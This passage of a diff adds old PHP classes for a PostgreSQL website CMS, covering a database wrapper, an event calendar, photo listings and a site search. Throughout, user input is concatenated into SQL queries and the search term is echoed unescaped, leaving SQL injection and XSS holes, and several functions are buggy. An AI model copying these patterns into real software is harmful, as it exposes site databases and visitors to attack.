+// $Id: class_db.inc,v 1.1.1.1 2006/03/27 14:44:14 cscott Exp $
+class GLM_DB
+ {
+ /** @var host database host server name */
+ var $host;
+ /** @var dbname name of the database */
+ var $dbname;
+ /** @var user The user to connect as */
+ var $user;
+ /** @var password The users password if any */
+ var $password;
+ /** @var dbd Database connection result ID# */
+ var $dbd;
+ /** @var conn string postgres connection string default = CONN_STR */
+ var $conn;
+ /** @var trans bool if true a transaction is in process */
+ var $trans;
+ /** @var dbd connection object from postgres */
+ var $dbd;
+ function GLM_DB( $conn = CONN_STR )
+ {
+ $this->host = "";
+ $this->dbname = "";
+ $this->user = "nobody";
+ $this->password = "";
+ $this->conn = $conn;
+ $this->trans = 0;
+ $this->dbd = "";
+ }
+
+ /** db_connect
+ Creates a connection to database specified $conn_str,
+ and returns a boolean for success.
+ @param conn_str Connect String
+ @param fail_mode Failure Mode
+ TRUE = Abort with HTML
+ FALSE = Return with fail code
+ @returns int - Returns an index or fails using html_error() function
+ */
+
+ function db_connect()
+ {
+ if( isset( $this->dbd ) && $this->dbd != "" )
+ {
+ return( $this->dbd );
+ }
+ switch ( DB_TYPE )
+ {
+ case "postgres":
+ if( $this->host == "" && $this->dbname == "" )
+ {
+ $conn = $this->conn;// CONN_STR;
+ }
+ else
+ {
+ $conn .= ( $this->host ) ? 'host='.$this->host.' ' : '';
+ $conn .= ( $this->dbname ) ? 'dbname='.$this->dbname.' ' : '';
+ $conn .= ( $this->user ) ? 'user='.$this->user." " : '';
+ $conn .= ( $this->password ) ? "password=".$this->password : '';
+ }
+ if( !$this->dbd = pg_connect( $conn ) )
+ {
+ echo pg_errormessage( $conn );
+ }
+ break;
+
+ default:
+ return( 0 );
+ break;
+ }
+ return( $this->dbd );
+ }
+ /** db_close
+ Closes the connection to database specified by the handle dbd
+ returns a boolean for success
+ @returns bool - Returns 1 on success 0 if dbd is not a valid connection
+ */
+
+ function db_close()
+ {
+ switch (DB_TYPE)
+ {
+ case "postgres":
+ @pg_close($this->dbd);
+ break;
+ default:
+ return(0);
+ }
+ }
+
+ /** db_exec
+ Execute an SQL query, * returning a valid result index or zero(0) on
+ failure.
+ @param $qs -- SQL query string
+ @returns int Returns a valid result index on success 0 on failure
+ */
+ function db_exec( $qs )
+ {
+ if( !$this->dbd )
+ {
+ $this->dbd = $this->db_connect();
+ }
+ switch ( DB_TYPE )
+ {
+ case "postgres":
+ if(!$ret = pg_exec( $this->dbd, $qs ) )
+ echo "<font color=red>".$qs."</font>";
+ break;
+ default:
+ return( 0 );
+ }
+ return( $ret );
+ }
+
+ /** db_fetch_array
+ Stores the data in associative indices, using the field names as
+ keys.
+ @param $res -- valid database result index
+ @param $i -- row number
+ @param $type -- PGSQL_ASSOC,PGSQL_BOTH,PGSQL_NUM
+ @returns array Returns an associative array of key-value pairs
+ */
+
+ function db_fetch_array( $res, $i, $type )
+ {
+ switch ( DB_TYPE )
+ {
+ case "postgres":
+ $row = pg_fetch_array( $res, $i, $type );
+ break;
+
+ default:
+ return( 0 );
+ }
+ return( $row );
+ }
+
+ /** db_freeresult
+ Free result memory.
+ @param $res -- valid database result index
+ @returns bool - Returns 1 for success 0 for failure
+ */
+
+ function db_freeresult( $res )
+ {
+ switch ( DB_TYPE )
+ {
+ case "postgres":
+ $ret = pg_freeresult( $res );
+ break;
+
+ default:
+ return( 0 );
+ }
+ return( $ret );
+ }
+
+ /** db_numrows
+ Determine number of rows in a result index
+ @param $res -- valid database result index
+ @returns int - Returns number of rows
+ */
+
+ function db_numrows( $res )
+ {
+
+ switch ( DB_TYPE )
+ {
+ case "postgres":
+ $ret = pg_numrows( $res );
+ break;
+
+ default:
+ return( -1 );
+ }
+ return( $ret );
+ }
+ /** db_auto_get_array
+ The auto function for retrieving an array based soley on a query
+ string. This function makes the connection, does the exec, fetches
+ the array, closes the connection, frees memory used by the result,
+ and then returns the array
+ @param $qs SQL query string
+ @param $i row number
+ @param $type PGSQL_ASSOC or PGSQL_BOTH or PSQL_NUM
+ @returns array - Returns an associative array of key-value pairs
+ */
+
+ function db_auto_array( $qs, $i, $type )
+ {
+
+ $dbd = $this->db_connect();
+ if( !$dbd )
+ {
+ return( 0 );
+ }
+ $res = db_exec( $dbd, $qs );
+ if( !$res )
+ {
+ return( 0 );
+ }
+
+ $row = db_fetch_array( $res, $i, $type );
+
+ if(!db_freeresult( $res ) )
+ {
+ return( 0 );
+ }
+
+ return( $row );
+ }
+
+ /** db_auto_exec
+ The auto function for executing a query.
+ This function makes the connection, does the exec, fetches
+ the array, closes the connection, frees memory used by the result,
+ and then returns success (not a valid result index)
+ @param $qs SQL query string
+ @returns int - Returns 1 for success 0 for failure
+ */
+
+ function db_auto_exec( $qs )
+ {
+ $this->db_connect();
+ if( !$this->dbd )
+ {
+ return( 0 );
+ }
+ if( !$this->db_exec( $qs ) )
+ {
+ return( 0 );
+ }
+ else
+ {
+ return( 1 );
+ }
+ }
+ /** db_auto_get_data
+ @discussion The auto function for retrieving an array based soley on a query
+ string. This function makes the connection, does the exec, fetches
+ the array, closes the connection, frees memory used by the result,
+ and then returns the array
+ @param string $qs SQL query string
+ @returns Returns an associative array of key-value pairs or 0 on error
+ */
+
+ function db_auto_get_data( $qs )
+ {
+ if( !$this->dbd )
+ {
+ $this->db_connect();
+ }
+ if( !( $res = $this->db_exec( $qs ) ) )
+ {
+ return( FALSE );
+ }
+ $totalrows = pg_NumRows( $res );
+ for( $i = 0 ; $i < $totalrows ; $i++ )
+ {
+ $data[$i] = $this->db_fetch_array ($res, $i, PGSQL_ASSOC );
+ }
+ if( isset( $data ) && $data != "" )
+ {
+ return( $data );
+ }
+ else
+ {
+ return( 0 );
+ }
+ }
+
+ /** trans_start
+ Start a postgres transaction
+ @returns bool true if sucessful
+ */
+ function trans_start()
+ {
+ if( !$this->trans )
+ {
+ if( !$this->dbd = $this->db_connect() )
+ {
+ $this->trans = false;
+ return( false );
+ }
+ else
+ {
+ $this->db_exec( "BEGIN WORK;" );
+ $this->trans = true;
+ return( true );
+ }
+ }
+ else
+ {
+ return( true );
+ }
+ }
+
+ /** trans_end
+ Commit the postgres transaction
+ @returns bool true if successful
+ */
+ function trans_end()
+ {
+ if( !$this->trans )
+ {
+ if(!$this->db_exec( "COMMIT WORK;" ) )
+ {
+ return( false );
+ }
+ else
+ return( true );
+ }
+ else
+ return( false );
+ }
+ /** trans_exec
+ exec a postgres query in a
+ postgres transaction
+ @param string query
+ */
+ function trans_exec( $query )
+ {
+ if( $query != "" )
+ {
+ if(!$ret = $this->db_exec( $query ) )
+ {
+ $this->db_exec( "ABORT WORK;" );
+ return( false );
+ }
+ else
+ {
+ return( $ret );
+ }
+ }
+ else
+ {
+ return( false );
+ }
+ }
+ }
+?>
--- /dev/null
+<?php
+require_once(BASE.'classes/class_db.inc');
+require_once(BASE.'classes/class_template.inc');
+class GLM_EVENTS extends GLM_TEMPLATE{
+ /** @var int topicid */
+ var $topicid;
+ var $page_name;
+
+ function GLM_EVENTS( $topicid )
+ {
+ parent::GLM_TEMPLATE( $topicid );
+ $this->topicid = $topicid;
+ $this->page_name = $GLOBALS['PHP_SELF'];
+ }
+
+ // date helper funcs
+ function lastDayOfMonth($timestamp = '')
+ {
+ if($timestamp=='') $timestamp=time();
+ return(
+ mktime(0,0,0,
+ date("m",$timestamp)+1,
+ 1,
+ date("Y",$timestamp)
+ )-3600*24);
+ }
+
+ function firstDayOfMonth($timestamp=''){
+ if($timestamp=='') $timestamp=time();
+ return(mktime(0,0,0,
+ date("m",$timestamp),
+ 1,
+ date("Y",$timestamp)
+ ));
+ }
+
+ // end date helper
+
+
+ function get_by_topic($topic)
+ {
+ // method fetches events based on topic id
+
+ if(!$year)
+ {
+ $year = date("Y");
+ }
+ if(!$month || $month == "All")
+ {
+ $month = date("n");
+ }
+ if(ereg("^0([0-9]).*",$month,$part))
+ $month = $part[1];
+ $st = mktime(0,0,0,$month,1,$year);
+ $starting = date("m-d-Y",$this->firstDayOfMonth($st));
+ $ending = date("m-d-Y",$this->lastDayOfMonth($st));
+
+ $query = "SET DATESTYLE TO 'SQL,US';
+ SELECT id,header,
+ date_part('month',bdate) as mon,
+ date_part('day',bdate) as day,
+ date_part('year',bdate) as yr,
+ date_part('month',edate) as mon2,
+ date_part('day',edate) as day2,
+ date_part('year',edate) as yr2,
+ bdate as sdate, edate as edate,
+ btime,etime,descr,loc,contact,email,url,img,daysow,reacur
+ FROM event
+ WHERE visable = 't'";
+
+ $topqs=" AND topicid = $topic ";
+
+ if($topic!='All')
+ {
+ $query.=$topqs;
+ }
+ //$query .= "AND bdate <= '$ending' AND edate >= '$starting' ";
+ $query .= "ORDER BY bdate DESC,btime ASC";
+ $events_data = $this->DB->db_auto_get_data($query);
+ return $events_data;
+ }
+
+ /**
+ * getEventSearch:
+ *
+ * @return
+ * @access
+ **/
+ function get_event_search( $cal = 0 )
+ {
+
+ unset($emonths);
+ $month_id = array( "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec" );
+
+ // Set up the $selection array to get a query box use only item fields
+ $selection = array( );
+
+ if( $this->topicid != 24 && $this->topicid != 'All' && $this->topicid != '' )
+ {
+ $topic_qs = ' and topicid = '.$this->topicid;
+ }
+
+ // Month part do not change
+ $qs = "SELECT bdate,date_part('month', bdate) as d1_month,
+ date_part('month', edate) as d2_month,
+ date_part('year', bdate) as d1_year,
+ date_part('year', edate) as d2_year
+ FROM event
+ WHERE edate >= CURRENT_DATE
+ $topic_qs
+ AND visable = 't'
+ ORDER BY bdate ASC;";
+
+ $result = $this->DB->db_exec($qs);
+
+ $page = BASE_URL.'events.phtml';
+
+ for($i=0;$i<pg_numrows($result);$i++)
+ {
+ $data = $this->DB->db_fetch_array($result,$i,PGSQL_ASSOC);
+ $s_month = $data['d1_month'];
+ $s_year = $data['d1_year'];
+ $e_month = $data['d2_month'];
+ $e_year = $data['d2_year'];
+
+ $watchdog = 20;
+ for( $y=$s_year, $m=$s_month; !($y==$e_year && $m==$e_month+1) ; )
+ {
+ if( $m == 13 )
+ {
+ $y++;
+ $m = 1;
+ }
+
+ $emonth = sprintf( "%02d %04d", $m, $y );
+ if( !isset($emonths["$emonth"]) )
+ {
+ $emonths["$emonth"] = 0;
+ }
+ $emonths["$emonth"]++;
+
+ if( $watchdog-- == 0 )
+ {
+ break 1;
+ }
+ $m++;
+ }
+ }
+
+ // Selections part
+ while( list($key,$value) = each($selection))
+ {
+ $qs = "SELECT
+ DISTINCT $key
+ FROM event
+ WHERE visable = 't'
+ AND edate >= CURRENT_DATE
+ $topic_qs
+ ORDER BY $key;";
+
+ $result = $this->DB->db_exec($qs);
+
+ echo "<select name=\"$key\">";
+
+ for ($i=0;$i<pg_numrows($result);++$i)
+ {
+ $data = pg_result($result,$i,$key);
+ if($data != "")
+ {
+ echo "<option value=\"$data\">$data\n";
+ }
+ }
+
+ echo "</select>\n";
+ }
+ echo '<br><a name="event"></a> ';
+ if( !$cal )
+ {
+ // topic part
+ $qs = "SELECT
+ DISTINCT ON (t.descr) t.id,t.descr
+ FROM topic t, event e
+ WHERE e.visable = 't'
+ AND e.edate >= CURRENT_DATE
+ AND e.topicid = t.id
+ $topic_qs
+ ORDER BY t.descr";
+
+ $result = $this->DB->db_exec($qs);
+
+ // form header
+ echo '<div style="display:block;float:left;width:350px;"><form action="'.$page.'#event" method="POST">';
+ echo 'Search By Topic: <select name="topic">
+ <option value="All" selected>Show All Topics';
+
+ for ($i=0;$i<pg_numrows($result);++$i)
+ {
+ $data = $this->DB->db_fetch_array($result,$i,PGSQL_ASSOC);
+ if($data != "")
+ {
+ echo "<option value=\"$data[id]\">$data[descr]\n";
+ }
+ }
+
+ echo "</select>\n";
+ echo '<input type="SUBMIT" value="GO" name="SUBMIT">';
+ echo '</form></div>';
+ }
+ // Month part (output)
+ $month_qs = "SELECT
+ DISTINCT bdate
+ FROM event
+ WHERE visable = 't'
+ AND edate >= CURRENT_DATE
+ ORDER BY bdate;";
+
+ $result = $this->DB->db_exec($month_qs);
+
+ echo '<div style="display:block;float:left;width:350px;"><form action="'.$page.'#event" method="POST" style="display:block;float:left;width:250px;">';
+ echo "By Month: <select name=\"month\">";
+ //echo '<option value="">Show All Month</option>';
+ if(isset($emonths) && is_array($emonths))
+ {
+ for(reset($emonths);$key=key($emonths);next($emonths))
+ {
+ $date = mktime(0,0,0,(integer)substr($key,0,2),1,substr($key,3,4));
+ $now = mktime(0,0,0,date("m"),1,date("Y"));
+ if($date>=$now)
+ {
+ echo "<option value=\"$key\">";
+ $m = substr( $key, 0, 2 );
+ echo $month_id[$m-1]." ".substr($key,3,4)."\n";
+ }
+ }
+ }
+ echo '</select>';
+ echo '<input type="SUBMIT" value="GO" name="SUBMIT">';
+ echo '</form></div><br clear="all">';
+ }
+ /**
+ * get_events:
+ * @param $type:
+ *
+ * @return
+ * @access
+ **/
+ function get_events()
+ {
+ if( $_POST['month'] )
+ {
+ $month = (int)substr($_POST['month'],0,2);
+ $year = (int)substr($_POST['month'],3,6);
+ }
+ elseif( $_GET['month'] )
+ {
+ $month = (int)$_GET['month'];
+ $year = (int)$_GET['year'];
+ }
+ else
+ {
+ $month = (int)date("m");
+ $year = (int)date("Y");
+ }
+ $GLOBALS['month'] = $month;
+ $GLOBALS['year'] = $year;
+
+ require_once(BASE."classes/glm-Events-calendar-2-0.phtml");
+ if(!$GLOBALS["eventid"])
+ {
+ $this->get_event_search();
+ calendar($month,$year,2,$this->page_name.'?catid=24&event=1&month=',$this->page_name.'?catid=24&event=1&eventid=1&month='.$month,$newdata);
+ }
+ else
+ {
+ // include("classes/glm-Events-2-0.phtml");
+ $qs="SET DATESTYLE TO 'SQL,US';SELECT * FROM event WHERE id = ".$GLOBALS["eventid"];
+
+ $row=$this->DB->db_auto_get_data($qs);
+ echo $this->make_events($row);
+ $this->get_event_search();
+ calendar($month,$year,2,$this->page_name.'?catid=24&event=1&month=',$this->page_name.'?catid=24&eventid=1&month='.$month,$newdata);
+ // echo '<div align="center"><a href="./">Back to Calendar</a></div>';
+ }
+
+ }
+ /**
+ * make_events:
+ * @param $row:
+ *
+ * @return
+ * @access
+ **/
+ function make_events($row)
+ {
+ //$event='<br>'."\n";
+ $event='<div class="eventcontainer">'."\n";
+ for($i=0;$i<sizeof($row);$i++)
+ {
+ // Header
+ $event.="<div class=\"eventheader\">".$row[$i][header]."</div>";
+
+
+
+ // Date
+ if($row[$i][bdate]!='')
+ {
+ $event.='<div><span class="eventdate">';
+ $sdate = strtotime($row[$i]["bdate"]);
+ $edate = strtotime($row[$i]["edate"]);
+ $thedate = GLM_TEMPLATE::get_event_date($sdate,$edate,"timestamp");
+ $event.=$thedate;
+ /*
+ $event.= date('M d, Y',strtotime($row[$i][bdate]));
+ if($row[$i][edate]!='' && $row[$i][edate]!=$row[$i][bdate])
+ {
+ $event.=" - ".date('M d, Y',strtotime($row[$i][edate]));
+ }
+ */
+ $event.="</span></div>\n";
+ }
+
+ // time
+ $days[1] = "Sundays";
+ $days[2] = "Mondays";
+ $days[4] = "Tuesday";
+ $days[8] = "Wednesdays";
+ $days[16] = "Thursdays";
+ $days[32] = "Fridays";
+ $days[64] = "Saturdays";
+ if($row[$i][btime])
+ {
+ if($row[$i]['btime'] && $row[$i]['etime'])
+ {
+ $time = "".$this->format_to_time($row[$i]['btime'])." to ".$this->format_to_time($row[$i]['etime'])."<br>";
+ }
+ elseif($row[$i]['btime'] && !$row[$i]['etime'])
+ {
+ $time = "@ ".$this->format_to_time($row[$i]['btime'])."<br>";
+ }
+ else
+ {
+ $time = "";
+ }
+ $event.=$time;
+ }
+ if( $row[$i]['reacur'] == 't')
+ {
+ if($row[$i]["weekom"])
+ {
+ switch($row[$i]["weekom"])
+ {
+ case 1:
+ $reacur .= "1st ";
+ break;
+
+ case 2:
+ $reacur .= "2nd ";
+ break;
+
+ case 3:
+ $reacur .= "3rd ";
+ break;
+
+ case 4:
+ $reacur .= "4th ";
+ break;
+
+ }
+ }
+ if( $row[$i]['daysow'])
+ {
+ $ri = 1;
+ for($r=1;$r<8;$r++)
+ {
+ if($row[$i]["daysow"]&$ri)
+ $reacur .= $days[$ri];
+ $ri = $ri << 1;
+ }
+ }
+ $event.=$reacur;
+ }
+ // Location
+ if($row[$i][loc]!='')
+ {
+ $event.='<div><span class="eventloc">Location: </span><span class="eventvalue">';
+ $event.=$row[$i][loc];
+ $event.="</span></div>\n";
+ }
+
+ // URL
+ if($row[$i][url]!='')
+ {
+ $event.='<div><span class="eventurl">URL: </span><span class="eventvalue">';
+ $event.='<a href="http://'.$row[$i][url].'" target="_blank">'.$row[$i][url].'</a>';
+ $event.="</span></div>\n";
+ }
+ // FILE
+ if($row[$i]['file']!='')
+ {
+ $filename = ($row[$i]['filename']) ? $row[$i]['filename'] : $row[$i]['file'];
+ $event.='<div><span class="eventurl">File:</span><span class="eventvalue">';
+ $event.='<a href="'.BASE_URL.'uploads/'.$row[$i]["file"].'" target="_blank">'.$filename.'</a>';
+ $event.="</span></div>\n";
+ }
+
+ // Image
+ if($row[$i][img]!='')
+ {
+ $image = $row[$i][img];
+ if( is_file( ORIGINAL_PATH.$image ) )
+ {
+ $size = getImageSize( ORIGINAL_PATH.$image );
+ $width = $size[0];
+ $height = $size[1];
+ }
+ $event.='<div class="eventimg1">
+ <a href="#" onClick="window.open(\''.BASE_URL.'view.phtml?img='.$image.'\',\'popuphole1\',\'height='.$height.',width='.$width.',scrollbars=no\');return(false);">
+ <img alt="'.$image.'" title="'.$image.'" src="'.MIDSIZED.$image.'" border="0">
+ </a>
+ </div>'."\n";
+ }
+
+ // Description
+ if($row[$i][descr]!='')
+ {
+ $event.='<div class="eventdescr">';
+ $event.=nl2br($row[$i][descr])."<BR>";
+ $event.="</div>\n";
+ }
+
+
+ // Description2
+ if($row[$i][descr2]!='')
+ {
+ $event.='<div class="eventdescr">';
+ $event.=nl2br($row[$i][descr2])."<BR>";
+ $event.="</div>\n";
+ }
+
+ // Image
+ if($row[$i][img2]!='')
+ {
+ $event.='<div class="eventimg2"><img src="'.THUMB.$row[$i][img2].'"></div>'."\n";
+ }
+ // Image
+ if($row[$i][img3]!='')
+ {
+ $event.='<div class="eventimg3"><img src="'.THUMB.$row[$i][img3].'"></div>'."\n";
+ }
+
+ // Description3
+ if($row[$i][descr3]!='')
+ {
+ $event.='<div class="eventdescr">';
+ $event.=nl2br($row[$i][descr3])."<BR>";
+ $event.="</div>\n";
+ }
+
+ // Contact
+ if($row[$i][contact]!='')
+ {
+ $event.='<div><span class="eventcontact">Contact Information: </span><br><span class="eventvalue">';
+ $event.=$row[$i][contact];
+ $event.="</span></div>\n";
+ }
+
+ // E-mail
+ if($row[$i][email]!='')
+ {
+ $event.='<div><span class="eventemail">E-Mail: </span><span class="eventvalue">';
+ $event.='<a href="mailto:'.$row[$i][email].'">'.$row[$i][email].'</a>';
+ $event.="</span></div>\n";
+ }
+
+ // Phone
+ if($row[$i][phone]!='')
+ {
+ $event.='<div><span class="eventphone">Phone: </span><span class="eventvalue">';
+ $event.=$row[$i][phone];
+ $event.="</span></div>\n";
+ }
+
+
+
+
+ //Seperator
+ // $event.="<span class=\"bold\"><hr></hr></span>";
+ $event.="</div><br clear=\"all\">";
+ }
+ return $event;
+ }
+
+ /**
+ * format_to_time:
+ * @param $time:
+ *
+ * @return
+ * @access
+ **/
+ function format_to_time($time)
+ {
+ return($time);
+
+ $timestamp = strtotime("today $time");
+ $newtime = date("g:i A",$timestamp);
+ return($newtime);
+ }
+
+}
+?>
--- /dev/null
+<?php
+require_once(BASE.'classes/class_db.inc');
+require_once(BASE.'classes/class_template.inc');
+class GLM_PHOTOS extends GLM_TEMPLATE{
+ var $pcatid;
+
+ /**
+ * GLM_PHOTOS: constructor of the class
+ *
+ * @return void
+ * @access abstract
+ **/
+ function GLM_PHOTOS()
+ {
+ parent::GLM_TEMPLATE(NULL);
+ }
+
+ /**
+ * get_photo_cats: get the photo categories for this catid
+ * @param $catid: the parent id of the photo catid
+ *
+ * @return string $output
+ * @access public
+ **/
+ function getPhotoCats($catid)
+ {
+ $output = '';
+ $query2 = "SELECT * FROM bus_category WHERE parent = ".$catid." and active = 't' order by pos";
+ $data2 = $this->DB->db_auto_get_data($query2);
+ if(is_array($data2))
+ {
+ $count = 0;
+ foreach($data2 as $key=>$value)
+ {
+ if($value['image'])
+ {
+ $url = GLM_TEMPLATE::get_seo_url($value['id']);
+ $output .= '<div class="thumb"><div
+ class="photocattitle">'.$value["category"].'</div><a
+ href="'.$url.'"><img src="'.THUMB.$value["image"].'" alt="'.$value["image"].'"></a></div>';
+ }
+ if(++$count == 4)
+ $output .= '<br clear="all">';
+ }
+ }
+ return($output);
+ }
+
+
+ /**
+ * get_photos: get the photo items for the catid
+ * @param $catid: the photo catid
+ *
+ * @return string $output
+ * @access public
+ **/
+ function getPhotos($catid)
+ {
+ $output = '';
+ $query2 = "SELECT b.id,b.name,b.image FROM bus b LEFT OUTER JOIN bus_category_bus bcb ON
+ (bcb.busid = b.id) WHERE bcb.catid = $catid order by bcb.pos";
+ $data2 = $this->DB->db_auto_get_data($query2);
+ if(is_array($data2))
+ {
+ $count = 0;
+ foreach($data2 as $key=>$value)
+ {
+ if($value['image'])
+ {
+ if(file_exists(ORIGINAL_PATH.$value['image']))
+ {
+ $size2 = getimagesize(ORIGINAL_PATH.$value['image']);
+ $width = $size2[0] + 0;
+ $height = $size2[1] + 0;
+ }
+ /*
+ $output .= '<div class="thumb"><a href="#" onClick="window.open(\''.BASE_URL.'view.phtml?img='.$value['image'].'\',\'popuphole1\',\'height='.$height.',width='.$width.',scrollbars=no\');return(false);"><img src="'.THUMB.$value["image"].'" alt="'.$value["image"].'"></a><div class="phototitle">'.$value["name"].'</div></div>
+ ';
+ */
+ $url = GLM_TEMPLATE::get_seo_url(5);
+ if( SEO_URL )
+ {
+ $url .= GLM_TEMPLATE::set_name_url($value['name']).'-'.$value['id'].'/';
+ }
+ else
+ {
+ $url .= '&id='.$value['id'];
+ }
+ $output .= '<div class="thumb"><a href="#" onClick="window.open(\''.BASE_URL.'view.phtml?img='.$value['image'].'\',\'popuphole1\',\'height='.$height.',width='.$width.',scrollbars=no\');return(false);"><img src="'.THUMB.$value["image"].'" alt="'.$value["image"].'"></a><div class="phototitle">'.$value["name"].'</div></div>
+ ';
+ /*
+ $output .= '<div class="thumb"><a href="'.$url.'"><img border="0" src="'.THUMB.$value["image"].'"
+ alt="'.$value["image"].'"></a><div class="phototitle">'.$value["name"].'</div></div>
+ ';
+ */
+ }
+ if(++$count == 4)
+ {
+ $output .= '<br clear="all">
+ ';
+ $count = 0;
+ }
+ }
+ }
+ return($output);
+ }
+
+
+
+ /**
+ * getPhotoDetails:
+ * @param $$id :
+ *
+ * @return
+ * @access
+ **/
+ function getPhotoDetails( $id )
+ {
+ $output = '';
+ $query2 = "SELECT b.id,b.name,b.image FROM bus b LEFT OUTER JOIN bus_category_bus bcb ON
+ (bcb.busid = b.id) WHERE bcb.catid = $catid order by bcb.pos";
+ $data2 = $this->DB->db_auto_get_data($query2);
+ if(is_array($data2))
+ {
+ $count = 0;
+ foreach($data2 as $key=>$value)
+ {
+ if($value['image'])
+ {
+ if(file_exists(ORIGINAL_PATH.$value['image']))
+ {
+ $size2 = getimagesize(ORIGINAL_PATH.$value['image']);
+ $width = $size2[0] + 0;
+ $height = $size2[1] + 0;
+ }
+ $url = GLM_TEMPLATE::get_seo_url(5);
+ if( SEO_URL )
+ {
+ $url .= GLM_TEMPLATE::set_name_url($value['name']).'-'.$value['id'].'/';
+ }
+ else
+ {
+ $url .= '&id='.$value['id'];
+ }
+ $output .= '<div class="thumb"><img border="0" src="'.THUMB.$value["image"].'"
+ alt="'.$value["image"].'"><div class="phototitle">'.$value["name"].'</div></div>
+ ';
+ }
+ if(++$count == 4)
+ {
+ $output .= '<br clear="all">
+ ';
+ $count = 0;
+ }
+ }
+ }
+ return($output);
+ }
+
+}
+?>
--- /dev/null
+<?php
+// $Id: class_search.inc,v 1.1.1.1 2006/03/27 14:44:14 cscott Exp $
+/** @class seach glm-search engine for the category/business_listing
+ This class was made to provide a search page for
+ our event,business_listing,newsletter databases
+ */
+class search{
+ /** @var -*/
+ var $parentshow; // array containting the catids and parentids
+ /** @var pages */
+ var $pages;
+ /** @var eventquery */
+ var $eventquery;
+ /** @var bussyquery */
+ var $bussyquery;
+ /** @var newsyquery */
+ var $newsyquery;
+ /** @var sr */
+ var $sr;
+ /** @var p */
+ var $p;
+ /** @var results */
+ var $results;
+ /** @var threads */
+ var $threads;
+ var $type;
+
+ /** search
+ constructor function
+ @param none
+ @returns none
+ */
+ function search()
+ {
+ $this->newsyquery = "";
+ $this->bussyquery = "";
+ $this->eventquery = "";
+ $this->pages = array();
+ $this->parentshow = array();
+ $this->type = "general";
+ }
+
+ /** set_events
+ Sets up the query for the event search
+ @param none
+ @returns none
+ */
+ function set_events()
+ {
+ $eventf[] = "e.header".$this->sr;
+ $eventf[] = "e.descr".$this->sr;
+ $eventf[] = "e.loc".$this->sr;
+ $eventf[] = "e.contact".$this->sr;
+ $this->eventquery = "SELECT e.*
+ FROM event e
+ WHERE ";
+ $eevent = implode(" OR ",$eventf);
+ $this->eventquery .= $eevent;
+ }
+
+ /** set_bus
+ Sets the query for the business_listing db search
+ @param none
+ @returns none
+ */
+ function set_bus()
+ {
+ $busf[] = "b.name".$this->sr;
+ $busf[] = "b.description".$this->sr;
+ $busf[] = "b.city".$this->sr;
+ $busf[] = "b.state".$this->sr;
+ $busf[] = "b.zip".$this->sr;
+ $busf[] = "b.phone".$this->sr;
+ $busf[] = "b.fax".$this->sr;
+ $busf[] = "b.email".$this->sr;
+ $buscatf[] = "bc.category".$this->sr;
+ $buscatf[] = "bc.description".$this->sr;
+ $buscatf[] = "bc.intro".$this->sr;
+ $this->bussyquery = "SELECT DISTINCT ON (bc.category) bc.*, b.*,bc.id as catid
+ FROM (bus_category bc LEFT OUTER JOIN bus_category_bus bcb ON (bcb.catid = bc.id))
+ LEFT OUTER JOIN bus b ON (b.id = bcb.busid)
+ WHERE (";
+ $ebus = implode(" OR ",$busf);
+ $ebuscat = implode(" OR ",$buscatf);
+ $this->bussyquery .= $ebus." OR ".$ebuscat.")";
+ }
+
+ /** set_news
+ Sets the newsletter query for the search
+ @param none
+ @returns none
+ */
+ function set_news()
+ {
+ $newsf[] = "n.title".$this->sr;
+ $newsf[] = "n.header".$this->sr;
+ $newsf[] = "n.description".$this->sr;
+ $newsblockf[] = "nb.header".$this->sr;
+ $newsblockf[] = "nb.description".$this->sr;
+ $this->newsyquery = "SELECT n.*, nb.*
+ FROM news n LEFT OUTER JOIN news_block nb ON (n.id = nb.news_id)
+ WHERE ";
+
+ $enews = implode(" OR ",$newsf);
+ $enewsblock = implode(" OR ",$newsblockf);
+ $this->newsyquery .= $enews." OR ".$enewsblock;
+ }
+
+ /** set_query
+ calls the queries for events,bus,and the newsletter
+ @param none
+ @returns none
+ */
+ function set_queries()
+ {
+ $this->set_events();
+ $this->set_bus();
+ $this->set_news();
+ }
+
+ /** posted
+ Sets sr variable with the POST var search
+ @param none
+ @returns none
+ */
+ function posted()
+ {
+ if($_POST && $_POST["search"])
+ {
+ //$this->show_form();
+ if($_POST["search"])
+ $this->sr = " ~* '".$_POST["search"]."'";
+ $this->set_queries();
+ $this->execute_search();
+ }
+ else
+ {
+ //$this->show_form();
+ }
+ }
+
+ /** show_form
+ Outputs the form for the search
+ @param none
+ @returns none
+ */
+ function show_form()
+ {
+ ?>
+ <script src="verify.js"></script>
+ <form action="<?echo $GLOBALS["PHP_SELF"]?>" method="POST" onSubmit="
+ this.search.optional = false;
+ this.search.r = 'Search Field';
+ return(verify(this));
+ ">
+ <select name="type">
+ <?
+ //$type[] = "Events";
+ //$type[] = "Categories";
+ //$type[] = "Newsletter";
+ //$general = 0;
+ foreach($this->pages as $key=>$data)
+ {
+ if(!is_numeric($key))
+ {
+ echo "<option value=\"$key\">".ucfirst($key);
+ }
+ else
+ {
+ $general = 1;
+ }
+ }
+ if($general)
+ echo "<option value=\"general\">General Categories";
+ ?>
+ </select>
+ <input name="search">
+ <input type="submit" name="Command" value="Search">
+ </form>
+ <?
+ }
+
+ /** execute_search
+ Sends the queries to to database
+ @param none
+ @returns none
+ */
+ function execute_search()
+ {
+ extract($_POST);
+ $qs = "";
+ switch($this->type)
+ {
+ case "events"://Events
+ $qs = $this->eventquery;
+ $qs .= " AND edate > CURRENT_DATE";
+ $href = $this->pages["events"];
+ break;
+
+ case "general"://General
+ $qs = $this->bussyquery;
+ break;
+
+ case "newsletter"://Library
+ $qs = $this->newsyquery;
+ $href = $this->pages["newsletter"];
+ break;
+
+ default:
+ html_error("All",1);
+ break;
+ }
+
+ //echo $qs;
+ $this->result = db_auto_get_data($qs,CONN_STR);
+ if($this->result != "")
+ {
+ echo "<div class=\"bodytext\"> Found ".count($this->result);
+ if(count($this->result)>1)
+ echo " matches for \"".$search."\"";
+ else
+ echo " match for \"".$search."\"";
+ echo "</div><br>";
+ }
+ else
+ {
+ echo "<div class=\"bodytext\"> No Matches</div>";
+ }
+ if($this->type == "general")
+ {
+ if($this->result != "")
+ {
+ foreach($this->result as $key=>$data)
+ {
+ $this->threads[] = array(
+ "ID" => $data[catid],
+ "content" => $data[category],
+ "parent" => $data[parent]
+ );
+ }
+ }
+ }
+ elseif($this->type == "events")
+ {
+ if($this->result != "")
+ {
+ foreach($this->result as $key=>$data)
+ {
+ printf("<a class=\"frontnews\" href=\"%s?id=%s&month=All\">%s</a><br>",$href,$data[id],$data[header]);
+ }
+ }
+ }
+ elseif($this->type == "newsletter")
+ {
+ if($this->result != "")
